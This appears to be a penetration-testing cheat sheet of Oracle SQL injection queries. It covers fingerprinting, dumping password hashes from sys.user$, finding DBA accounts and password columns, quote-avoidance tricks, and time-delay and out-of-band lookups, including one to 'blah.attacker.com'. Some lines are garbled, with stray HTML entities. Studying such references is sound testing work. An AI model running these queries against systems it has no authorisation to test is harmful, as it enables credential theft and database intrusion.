SQL Injection Cheat Sheet (ORACLE)

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
Comments SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User
SELECT user FROM dual
List Users SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
List Password Hashes
SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g
Password Cracker
checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
List Databases

SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases. See tnscmd (services | status).

List Columns
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case
Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)
Select Nth Char
SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
Bitwise AND
SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0

ASCII Value -> Char

SELECT chr(65) FROM dual; -- returns A
Char -> ASCII Value SELECT ascii('A') FROM dual; -- returns 65
Casting SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
String Concatenation SELECT 'A' || 'B' FROM dual; -- returns AB
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
Avoiding Quotes
SELECT chr(65) || chr(66) FROM dual; -- returns AB
Time Delay
BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com&#39;) FROM dual; -- if outbound TCP is filtered / slow
-- Also see Heavy Queries to create a time delay
Make DNS Requests SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com&#39;) FROM dual;
Command Execution

Java can be used to execute commands if it's installed.

ExtProc can sometimes be used too, though it normally failed for me. :-(

Local File Access

UTL_FILE can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

Java can be used to read and write files if it's installed (it is not available in Oracle Express).

Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('') FROM dual; -- gets hostnames
Location of DB files
Default/System Databases